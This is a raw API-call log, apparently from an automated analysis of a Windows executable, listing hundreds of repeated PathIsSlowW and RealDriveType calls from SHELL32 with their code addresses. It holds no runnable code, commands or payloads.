Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004160FB
Part of subcall function 00415F73: RealDriveType.SHELL32(611C058B,00000000), ref: 00416103
Part of subcall function 00415F73: RealDriveType.SHELL32(B53E7199,00000000), ref: 0041610B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041610F
Part of subcall function 00415F73: RealDriveType.SHELL32(6E73234C,00000000), ref: 00416117

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A2F6
RealDriveType.SHELL32(A8B8E485,00000000), ref: 0040A2FE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A302
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A306
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A30A
RealDriveType.SHELL32(02F3187E,00000000), ref: 0040A312
RealDriveType.SHELL32(981F7445,00000000), ref: 0040A31A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A31E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A322
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A326
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A32A
RealDriveType.SHELL32(6F125921,00000000), ref: 0040A332
RealDriveType.SHELL32(17ACCAD1,00000000), ref: 0040A33A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A33E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A342
RealDriveType.SHELL32(06A0EAA0,00000000), ref: 0040A34A
RealDriveType.SHELL32(783E3C30,00000000), ref: 0040A352
RealDriveType.SHELL32(AA68C59D,00000000), ref: 0040A35A
RealDriveType.SHELL32(77D94559,00000000), ref: 0040A362
RealDriveType.SHELL32(2C9CA86A,00000000), ref: 0040A36A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A36E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A372
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A376
RealDriveType.SHELL32(819DB068,00000000), ref: 0040A37E
RealDriveType.SHELL32(92AD7087,00000000), ref: 0040A386
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A38A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A38E
RealDriveType.SHELL32(089BC229,00000000), ref: 0040A396
RealDriveType.SHELL32(EAB47729,00000000), ref: 0040A39E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3A2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3A6
RealDriveType.SHELL32(ABD30380,00000000), ref: 0040A3AE
RealDriveType.SHELL32(45BDEDC8,00000000), ref: 0040A3B6
RealDriveType.SHELL32(157BD8D1,00000000), ref: 0040A3BE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3C2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3C6

Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041611B
Part of subcall function 00415F73: RealDriveType.SHELL32(31CAF20A,00000000), ref: 00416123
Part of subcall function 00415F73: RealDriveType.SHELL32(B8487299,00000000), ref: 0041612B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041612F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416133
Part of subcall function 00415F73: RealDriveType.SHELL32(7FF62863,00000000), ref: 0041613B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041613F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416143
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416147
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041614B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041614F
Part of subcall function 00415F73: RealDriveType.SHELL32(A8AD6393,00000000), ref: 00416157
Part of subcall function 00415F73: RealDriveType.SHELL32(AF202323,00000000), ref: 0041615F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416163
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416167
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041616B
Part of subcall function 00415F73: RealDriveType.SHELL32(C36A6623,00000000), ref: 00416173
Part of subcall function 00415F73: RealDriveType.SHELL32(00BD29E9,00000000), ref: 0041617B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041617F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416183
Part of subcall function 00415F73: RealDriveType.SHELL32(BA2A50B0,00000000), ref: 0041618B
Part of subcall function 00415F73: RealDriveType.SHELL32(E59758BA,00000000), ref: 00416193
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416197
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041619B
Part of subcall function 00415F73: RealDriveType.SHELL32(5FE7A269,00000000), ref: 004161A3
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161A7
Part of subcall function 00415F73: RealDriveType.SHELL32(5B2BE0B2,00000000), ref: 004161AF
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161B3
Part of subcall function 00415F73: RealDriveType.SHELL32(4109F204,00000000), ref: 004161BB
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161BF
Part of subcall function 00415F73: RealDriveType.SHELL32(D19B7B3D,00000000), ref: 004161C7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161CB
Part of subcall function 00415F73: RealDriveType.SHELL32(2EFBA177,00000000), ref: 004161D3

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3E0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3E6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A3EC
RealDriveType.SHELL32(68F2CCAD,00000000), ref: 0040A3F5
RealDriveType.SHELL32(0DDF1E0E,00000000), ref: 0040A3FE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A404
RealDriveType.SHELL32(C5FAC813,00000000), ref: 0040A40D
RealDriveType.SHELL32(C2BE317D,00000000), ref: 0040A416
RealDriveType.SHELL32(75C656B1,00000000), ref: 0040A41F
RealDriveType.SHELL32(93A25C40,00000000), ref: 0040A428
RealDriveType.SHELL32(198114F6,00000000), ref: 0040A431
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A437
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A43D
RealDriveType.SHELL32(9129C9B5,00000000), ref: 0040A446
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A44C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A452
RealDriveType.SHELL32(3A81F6F9,00000000), ref: 0040A45B
RealDriveType.SHELL32(C858901A,00000000), ref: 0040A464
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A46A
RealDriveType.SHELL32(F8A47E23,00000000), ref: 0040A473
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A479
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A47F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A485
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A48B
RealDriveType.SHELL32(0639D289,00000000), ref: 0040A494
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A49A
RealDriveType.SHELL32(FC7C4322,00000000), ref: 0040A4A3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A4A9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A4AF
RealDriveType.SHELL32(1848C71D,00000000), ref: 0040A4B8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A4BE
RealDriveType.SHELL32(5B40C4BA,00000000), ref: 0040A4C7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A4CD
RealDriveType.SHELL32(CDAB2147,00000000), ref: 0040A4D6
RealDriveType.SHELL32(C323EBFA,00000000), ref: 0040A4DF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A4E5

Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161D7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161DB
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161DF
Part of subcall function 00415F73: RealDriveType.SHELL32(5212960B,00000000), ref: 004161E7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161EB
Part of subcall function 00415F73: RealDriveType.SHELL32(138A6942,00000000), ref: 004161F3
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161F7
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161FB
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004161FF
Part of subcall function 00415F73: RealDriveType.SHELL32(92074F33,00000000), ref: 00416207
Part of subcall function 00415F73: RealDriveType.SHELL32(8CB182D8,00000000), ref: 0041620F
Part of subcall function 00415F73: RealDriveType.SHELL32(BCDE5FC0,00000000), ref: 00416217
Part of subcall function 00415F73: LocalAlloc.KERNEL32(00000040,00000041), ref: 0041621D
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416229
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041622F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416235
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041623B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416241
Part of subcall function 00415F73: RealDriveType.SHELL32(5C6C5372,00000000), ref: 0041624A
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416250
Part of subcall function 00415F73: RealDriveType.SHELL32(F46196C4,00000000), ref: 00416259
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041625F
Part of subcall function 00415F73: RealDriveType.SHELL32(F40ABCBE,00000000), ref: 00416268
Part of subcall function 00415F73: RealDriveType.SHELL32(0E8A0733,00000000), ref: 00416271
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416277
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041627D
Part of subcall function 00415F73: RealDriveType.SHELL32(E43DB63C,00000000), ref: 00416286
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041628C
Part of subcall function 00415F73: RealDriveType.SHELL32(1E0964E2,00000000), ref: 00416295
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041629B
Part of subcall function 00415F73: RealDriveType.SHELL32(BDCA23DA,00000000), ref: 004162A4
Part of subcall function 00415F73: RealDriveType.SHELL32(C7F32838,00000000), ref: 004162AD
Part of subcall function 00415F73: RealDriveType.SHELL32(276BEC39,00000000), ref: 004162B6

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A4FF
RealDriveType.SHELL32(F5864EB6,00000000), ref: 0040A50C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A512
RealDriveType.SHELL32(6402505F,00000000), ref: 0040A51F
RealDriveType.SHELL32(A5768960,00000000), ref: 0040A528
RealDriveType.SHELL32(A6122E60,00000000), ref: 0040A531
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A537
RealDriveType.SHELL32(AFC7B1AC,00000000), ref: 0040A544
RealDriveType.SHELL32(3A2614B1,00000000), ref: 0040A54D
RealDriveType.SHELL32(7D88BEB1,00000000), ref: 0040A556
RealDriveType.SHELL32(86F167DD,00000000), ref: 0040A55F
RealDriveType.SHELL32(F908BAE6,00000000), ref: 0040A568
RealDriveType.SHELL32(97FD6707,00000000), ref: 0040A571
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A577
RealDriveType.SHELL32(73134E12,00000000), ref: 0040A584
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A58A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A594
RealDriveType.SHELL32(B3EA7AFF,00000000), ref: 0040A5A1
RealDriveType.SHELL32(B4C96239,00000000), ref: 0040A5AA
RealDriveType.SHELL32(10554DBA,00000000), ref: 0040A5B3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A5B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A5C3
RealDriveType.SHELL32(F2A98049,00000000), ref: 0040A5D0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A5D6
RealDriveType.SHELL32(8D9BE8E7,00000000), ref: 0040A5E3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A5E9
RealDriveType.SHELL32(37A9483C,00000000), ref: 0040A5F6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A5FC
RealDriveType.SHELL32(2C7EEE2D,00000000), ref: 0040A609
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A60F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A619
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A623
RealDriveType.SHELL32(B254CE71,00000000), ref: 0040A630
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A63C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A642
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A648

Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004162BC
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004162C2
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004162C8
Part of subcall function 00415F73: RealDriveType.SHELL32(BC54EDBE,00000000), ref: 004162D1
Part of subcall function 00415F73: RealDriveType.SHELL32(DEBA7060,00000000), ref: 004162DA
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004162E0
Part of subcall function 00415F73: RealDriveType.SHELL32(9AE82602,00000000), ref: 004162E9
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004162EF
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 004162F5
Part of subcall function 00415F73: RealDriveType.SHELL32(FB122745,00000000), ref: 004162FE
Part of subcall function 00415F73: RealDriveType.SHELL32(2FDBE574,00000000), ref: 00416307
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041630D
Part of subcall function 00415F73: RealDriveType.SHELL32(CF547CB8,00000000), ref: 00416316
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041631C
Part of subcall function 00415F73: RealDriveType.SHELL32(C72C3970,00000000), ref: 00416325
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041632B
Part of subcall function 00415F73: RealDriveType.SHELL32(0F9EBB41,00000000), ref: 00416340
Part of subcall function 00415F73: RealDriveType.SHELL32(B659D924,00000000), ref: 00416349
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041634F
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416355
Part of subcall function 00415F73: RealDriveType.SHELL32(D99C9B7D,00000000), ref: 0041635E
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416364
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041636A
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416370
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416376
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041637C
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416382
Part of subcall function 00415F73: RealDriveType.SHELL32(E14A564A,00000000), ref: 0041638B
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416391
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 00416397
Part of subcall function 00415F73: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041639D
Part of subcall function 00415F73: RealDriveType.SHELL32(A941589B,00000000), ref: 004163A6

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A662
RealDriveType.SHELL32(42D40ED3,00000000), ref: 0040A66F
RealDriveType.SHELL32(67351489,00000000), ref: 0040A67C
RealDriveType.SHELL32(BCBC5D3B,00000000), ref: 0040A689
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A693
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A69D
RealDriveType.SHELL32(FFA7440E,00000000), ref: 0040A6AA
RealDriveType.SHELL32(C1BBD669,00000000), ref: 0040A6B7
RealDriveType.SHELL32(A2CC7041,00000000), ref: 0040A6C4
RealDriveType.SHELL32(4A67BA74,00000000), ref: 0040A6D1
RealDriveType.SHELL32(A7A8E44E,00000000), ref: 0040A6DE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A6E8
RealDriveType.SHELL32(368E7A7C,00000000), ref: 0040A6F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A6FF
RealDriveType.SHELL32(D74F1FE6,00000000), ref: 0040A70C
RealDriveType.SHELL32(BEAF8353,00000000), ref: 0040A719
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A723
RealDriveType.SHELL32(04198633,00000000), ref: 0040A730
RealDriveType.SHELL32(3464F8CE,00000000), ref: 0040A73D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A747
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A751
RealDriveType.SHELL32(3BE179DA,00000000), ref: 0040A75E
RealDriveType.SHELL32(CB04EE62,00000000), ref: 0040A76B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A775
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A77F
RealDriveType.SHELL32(6E84D18E,00000000), ref: 0040A78C
RealDriveType.SHELL32(DDEE3708,00000000), ref: 0040A799
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A7A3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A7AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A7B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A7C1
RealDriveType.SHELL32(43428612,00000000), ref: 0040A7CE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A7D8
RealDriveType.SHELL32(91537057,00000000), ref: 0040A7E5
RealDriveType.SHELL32(0C29DCD2,00000000), ref: 0040A7F2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A7FC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A821
RealDriveType.SHELL32(AE7EDC29,00000000), ref: 0040A830
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A836
RealDriveType.SHELL32(01E720F4,00000000), ref: 0040A83F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A845
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A84B
RealDriveType.SHELL32(F4642165,00000000), ref: 0040A854
RealDriveType.SHELL32(CC34BB0F,00000000), ref: 0040A85D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A863
RealDriveType.SHELL32(707274E1,00000000), ref: 0040A86C
RealDriveType.SHELL32(6D8D5D68,00000000), ref: 0040A875
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A87B
RealDriveType.SHELL32(81E27473,00000000), ref: 0040A885
RealDriveType.SHELL32(DA9B8F78,00000000), ref: 0040A88D
RealDriveType.SHELL32(80AA562B,00000000), ref: 0040A895
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A899
RealDriveType.SHELL32(35A833E2,00000000), ref: 0040A8A1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A8A5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A8A9
RealDriveType.SHELL32(9B569B9D,00000000), ref: 0040A8B1
RealDriveType.SHELL32(A8BD2976,00000000), ref: 0040A8B9
RealDriveType.SHELL32(620AADD3,00000000), ref: 0040A8C1
RealDriveType.SHELL32(952EA3B4,00000000), ref: 0040A8C9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A8CD
RealDriveType.SHELL32(4B443B0F,00000000), ref: 0040A8D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A8D9
RealDriveType.SHELL32(A1CE651E,00000000), ref: 0040A8E1
RealDriveType.SHELL32(645B6F2E,00000000), ref: 0040A8E9
RealDriveType.SHELL32(50F7F956,00000000), ref: 0040A8F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A8F5
RealDriveType.SHELL32(C14D3989,00000000), ref: 0040A8FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A901
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A905
RealDriveType.SHELL32(D8644F4D,00000000), ref: 0040A90D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A911
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A915
RealDriveType.SHELL32(C709B488,00000000), ref: 0040A91D
RealDriveType.SHELL32(B664719C,00000000), ref: 0040A925
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A929
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A92D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A931
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A935
RealDriveType.SHELL32(D4A74414,00000000), ref: 0040A93D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A941
RealDriveType.SHELL32(F5B5E2DE,00000000), ref: 0040A949
RealDriveType.SHELL32(86958A61,00000000), ref: 0040A951
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A955
RealDriveType.SHELL32(A71A7BEC,00000000), ref: 0040A95D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A961
RealDriveType.SHELL32(0129CCA4,00000000), ref: 0040A969
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A96D
RealDriveType.SHELL32(E0CD022A,00000000), ref: 0040A975
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A979
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A97D
RealDriveType.SHELL32(B42ECE52,00000000), ref: 0040A985
RealDriveType.SHELL32(386BFE5A,00000000), ref: 0040A98D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A991
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A995
RealDriveType.SHELL32(4D467FC3,00000000), ref: 0040A99D
RealDriveType.SHELL32(4453715C,00000000), ref: 0040A9A5
RealDriveType.SHELL32(64AF7931,00000000), ref: 0040A9AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9B1
RealDriveType.SHELL32(6B5A4071,00000000), ref: 0040A9B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9C1
RealDriveType.SHELL32(D2DE2B42,00000000), ref: 0040A9C9
RealDriveType.SHELL32(AD35B413,00000000), ref: 0040A9D1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9DD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9E1
RealDriveType.SHELL32(2F2C5422,00000000), ref: 0040A9E9
RealDriveType.SHELL32(3D99C423,00000000), ref: 0040A9F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040A9F5
RealDriveType.SHELL32(1F0C6317,00000000), ref: 0040A9FD
RealDriveType.SHELL32(AC823728,00000000), ref: 0040AA05
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA09
RealDriveType.SHELL32(E8F0E2D0,00000000), ref: 0040AA11
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA15
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA19
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA1D
RealDriveType.SHELL32(E1B98BA8,00000000), ref: 0040AA25
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA29
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA2D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA31
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA35
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA39
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA3D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA41
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA45
RealDriveType.SHELL32(6A0CA3FE,00000000), ref: 0040AA4D
RealDriveType.SHELL32(8D3254CA,00000000), ref: 0040AA55
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA59
RealDriveType.SHELL32(F02A7C0A,00000000), ref: 0040AA61
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA65
RealDriveType.SHELL32(B20D88A7,00000000), ref: 0040AA6D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA71
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA75
RealDriveType.SHELL32(21FD3A87,00000000), ref: 0040AA7D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA81
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA85
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA89
RealDriveType.SHELL32(6408A2DB,00000000), ref: 0040AA91
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AA95
RealDriveType.SHELL32(87CDB5B9,00000000), ref: 0040AA9D
RealDriveType.SHELL32(AFD088F2,00000000), ref: 0040AAA5
RealDriveType.SHELL32(5FE1DF16,00000000), ref: 0040AAAD
RealDriveType.SHELL32(50E37061,00000000), ref: 0040AAB5
RealDriveType.SHELL32(E3E7C729,00000000), ref: 0040AABD
RealDriveType.SHELL32(C25E4B6A,00000000), ref: 0040AAC5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAC9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AACD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAD1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAD5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAD9
RealDriveType.SHELL32(3741AAD3,00000000), ref: 0040AAE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAE5
RealDriveType.SHELL32(1C3F36D6,00000000), ref: 0040AAED
RealDriveType.SHELL32(27C53388,00000000), ref: 0040AAF5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAF9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AAFD
RealDriveType.SHELL32(8DF2953E,00000000), ref: 0040AB05
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB09
RealDriveType.SHELL32(361E323C,00000000), ref: 0040AB11
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB15
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB19
RealDriveType.SHELL32(DC75F173,00000000), ref: 0040AB21
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB25
RealDriveType.SHELL32(39CBE82C,00000000), ref: 0040AB2D
RealDriveType.SHELL32(DF07513D,00000000), ref: 0040AB35
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB39
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB3D
RealDriveType.SHELL32(315B7980,00000000), ref: 0040AB45
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB49
RealDriveType.SHELL32(029691CE,00000000), ref: 0040AB51
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB55
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB59
RealDriveType.SHELL32(14085470,00000000), ref: 0040AB61
RealDriveType.SHELL32(3D535354,00000000), ref: 0040AB69
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB6D
RealDriveType.SHELL32(E8333A89,00000000), ref: 0040AB75
RealDriveType.SHELL32(1DFB5923,00000000), ref: 0040AB7D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040AB81
RealDriveType.SHELL32(FE81DBBA,00000000), ref: 0040AB89
RealDriveType.SHELL32(8DB3671D,00000000), ref: 0040AB9C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABA0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABA4
RealDriveType.SHELL32(375EC4B0,00000000), ref: 0040ABAC
RealDriveType.SHELL32(9BF07BF2,00000000), ref: 0040ABB4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABB8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABBC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABC8
RealDriveType.SHELL32(B851EB0E,00000000), ref: 0040ABD0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABD4
RealDriveType.SHELL32(1B01382B,00000000), ref: 0040ABDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABE0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABE4
RealDriveType.SHELL32(EEA9317D,00000000), ref: 0040ABEC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABF0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABF4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040ABF8
RealDriveType.SHELL32(2CD2C03F,00000000), ref: 0040AC00
RealDriveType.SHELL32(88FC7C25,00000000), ref: 0040AC08
RealDriveType.SHELL32(E2B0D3A8,00000000), ref: 0040AC10
